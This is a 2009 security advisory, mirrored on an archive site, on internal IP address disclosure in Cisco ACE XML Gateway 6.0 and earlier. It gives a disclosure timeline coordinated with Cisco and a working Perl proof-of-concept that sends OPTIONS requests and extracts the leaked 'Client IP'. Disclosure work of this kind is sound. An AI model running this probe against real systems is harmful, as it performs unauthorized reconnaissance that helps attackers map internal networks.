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TUCoPS :: Cisco :: bu-709.htm

Cisco ACE XML Gateway <= 6.0 Internal IP disclosure



Cisco ACE XML Gateway <= 6.0 Internal IP disclosure
Cisco ACE XML Gateway <= 6.0 Internal IP disclosure



+------------------------------------------------------------------------+
|                                 .......                                |
|                         ..''xxxxxxxxxxxxxxx'...                        |
|                    ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx..                    |
|                 ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.                 |
|               .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'.               |
|             .'xxxxxxxxxxxxxxxxxxxxx''......        ...  ..             |
|            .xxxxxxxxxxxxxxxxxx'...         ........      .'.           |
|           'xxxxxxxxxxxxxxx'......                          '.          |
|          'xxxxxxxxxxxxxx'..'x..                            .x.         |
|         .xxxxxxxxxxxx'...'..                  ...           .'         |
|         'xxxxxxxxx'..  .                          ..        .x.        |
|         xxxxxxx'.                                  ..        x.        |
|         xxxx'.                ....                  x        x.        |
|         'x'.            ...'xxxxxxx'.               x       .x.        |
|         .x'.         .'xxxxxxxxxxxxxx.             ''       .'         |
|          .xx.      .'xxxxxxxxxxxxxxxx.           .'xx'''.  .'          |
|           .xx..    'xxxxxxxxxxxxxxxx'          .'xxxxxxxxx''.          |
|            .'xx'.  .'xxxxxxxxxxxxxxx.      ..'xxxxxxxxxxxx'            |
|              .xxx'.  .xxxxxxxxxxxx'.    .'xxxxxxxxxxxxxx'.             |
|                .xxxx'.'xxxxxxxxx'.      xxx'xxxxxxxxxx'.               |
|                  .'xxxxxxx'....          ...xxxxxxx'.                  |
|                     ..'xxxxx'..         ..xxxxx'..                     |
|                          ....'xx'.....''''...                          |
|                                                                        |
|                    CubilFelino Security Research Lab                   |
|                            proudly presents...                         |
+------------------------------------------------------------------------+


Vulnerability Information
======================================Product:        Cisco ACE XML Gateway <= 6.0
Vulnerabily:    Internal IP Address Disclosure
Vendor:	 Cisco Systems, Inc. http://www.cisco.com 
Product URL: http://www.cisco.com/en/US/products/ps7314/ 
Author:         nitr=D8us  [ Alejandro Hernandez H. ]
Discovery Date: 24/Aug/2009
Attack Vector:  Remote
CVSS v2 Base Score: 5 (Medium) [ AV:N/AC:L/Au:N/C:P/I:N/A:N ]
Class:          I think, it's a Design problem on the error messages' handling



Product Information
======================================The Cisco ACE XML Gateway is a key component of the Cisco Application Control 
Engine (ACE) family of products. It brings application intelligence into the 
network and enables efficient deployment of secure, reliable, and accelerated 
Web service environments based on XML (Extensible Markup Language) and SOAP 
(Simple Object Access Protocol) using a shared network infrastructure.

The ACE XML Gateway helps you to secure, manage, monitor, and accelerate an SOA.
In a service-oriented environment, the ACE XML Gateway acts as a service
virtualization layer. It decouples service providers from consumers, increasing 
the stability, maintainability, and flexibility of those services. It enforces 
security policies and applies business rules, such as routing decisions and 
content validation processing, across message traffic in the environment.

The ACE XML Gateway secures your SOA implementation by providing advanced XML 
firewall capabilities, with built-in protection against XML-based attacks, 
such as SQL injection or entity expansion attacks, content screening capabilities 
and more.

With a high-performance, streaming XML processing engine, the ACE XML Gateway 
reduces the performance impact of XML traffic on the network.



Vulnerability Explaination
======================================Let's wait for the Cisco response, so, we'll have a better understanding on this
issue. Meanwhile...

I think this is a design error because ACE XML doesn't have in mind that the 
client could probably be in the same network segment internally, so, it receives 
the request, which cannot be processed, and throws an error message disclosing 
an internal IP address.

According to the ACE XML Gateway User Guide, Log Messages chapter, the listed 
error messages belong to different categories such as Alerts, Startup, Operational 
and Policy Errors, so, I'm assuming that the OPTIONS HTTP method doesn't fit in 
none of the mentioned categories, resulting in a message explaining that there's 
no handler for this type of request which discloses an internal IP address.

Cisco PSIRT (Product Security Incident Response Team) responded by saying that the 
bug is triggered not only by the OPTIONS request. Internal IP address is included 
in response if ACE XML Gateway was not able to find a matching handler for the 
request. Also, the PSIRT verified that GET request, with a path for which no 
handler was configured, results in the same address disclosure.

Again, I think it's a design error because it wasn't taken into account that the 
error message would disclose an internal IP address from the internal network.



Disclosure Timeline
======================================DD/MM/YYYY

24/08/2009    The vulnerability was discovered.
25/08/2009    Exploit/PoC code was developed (private).
01/09/2009    Cisco PSIRT (Product Security Incident Response Team) was 
              notificated about the issue.
02/09/2009    Vendor response asking for details of the testing environment.
02/09/2009    Test scenario explained and screenshots of the exploitation
              attached.
03/09/2009    PSIRT Incident Management assing an internal tracking ID number for
              the vulnerability.
08/09/2009    The PSIRT Incident Manager took the ownership of the vulnerability.
11/09/2009    Developers confirmed the vulnerability. Code fixes and testing
              remained pending.
              Green flag given to go public whenever I'd like.
17/09/2009    Fix will available in the next ACE XML Gateway release (6.1).
              PSIRT Incident Manager explained me the PSIRT response process
              followed in case of publishing the vulnerability in BugTraq,
              full-disclosure, milw0rm, packetstorm, etc.
24/09/2009    Tonight!, the vulnerability goes public and PSIRT is informed.



Exploit/PoC Code
======================================#!/usr/bin/perl -w
#
# Cisco ACE XML Gateway <= 6.0
# Internal IP Address Disclosure
#
# -=- PRIV8 -=- 0day -=- PRIV8 -=- 0day -=- PRIV8 -=-
#
# -[nitr=D8us]-  [ Alejandro Hernandez H. ]
# nitrousenador -at- gmail -dot- com
# http://www.brainoverflow.org 
#
# Mexic=D8 / 25-Aug-2=D8=D89
#
# -=- PUBLIC NOW -=-
# Published on September 24th, 2009
#
# ADVISORY: http://www.brainoverflow.org/advisories/cisco_ace_xml_gw_ip_disclosure.txt 
#

use strict;
use Socket qw/ :DEFAULT :crlf /;	# $CRLF
use IO::Socket;

sub header
{
	print "  .+==================================+.\n";
	print " /     Cisco ACE XML Gateway <= 6.0     \\\n";
	print "|     Internal IP Address Disclosure     |\n";
	print "|                                        |\n";
	print " \\             -nitr0us-                /\n";
	print "  `+==================================+`\n\n";
}

sub usage
{
	header;
	print "Usage: $0  [port(default 80)]\n";
	exit 0xdead;
}

my $host = shift || usage;
my $port = shift || 80;
my $axg;
my $axg_response;
my @payloads = ("OPTIONS / HTTP/1.0" . $CRLF . $CRLF, 
				"OPTIONS / HTTP/1.1" . $CRLF . "Host: " . $host . $CRLF . $CRLF);

header;
print "[+] Connecting to $host on port $port ...\n";

for(@payloads){
	$axg = IO::Socket::INET->new(	PeerAddr	=>	$host,
									PeerPort	=>	$port,
									Proto		=>	'tcp')
		or die "[-] Could not create socket: $!\n";

	print "[+] Sending payload  ...\n";
	print $axg $_;

	$axg->read($axg_response, 1024);
	print "[+] Parsing response ...\n";

	if($axg_response =~ /Client IP: (.*)/){
		print "[+] Internal IP disclosure: $1\n";
		$axg->close();
		exit 0xbabe;
	}

	$axg->close();
}

print "[-] Not vulnerable !\n";



Solution
======================================Wait for Cisco ACE XML Gateway 6.1 or Cisco's workaround/patch for previous 
versions.



Shouts
======================================Cisco PSIRT (Product Security Incident Response Team) guys, chr1x, ril0, crypkey, 
alt3kx, hkm, CRAc, #mendozaaaa, nediam, nahual, tr3w, darko, dex, Daemon, beck, 
ran, H=E9ctor L., Zeus, www.underground.org.mx, Bucio, etc... etc... etc... 



Author Information
======================================Author:  nitr=D8us  [ Alejandro Hernandez H. ]
E-mail:  nitrousenador -at- gmail -dot- com
Website: http://www.brainoverflow.org 
Country: Mexico



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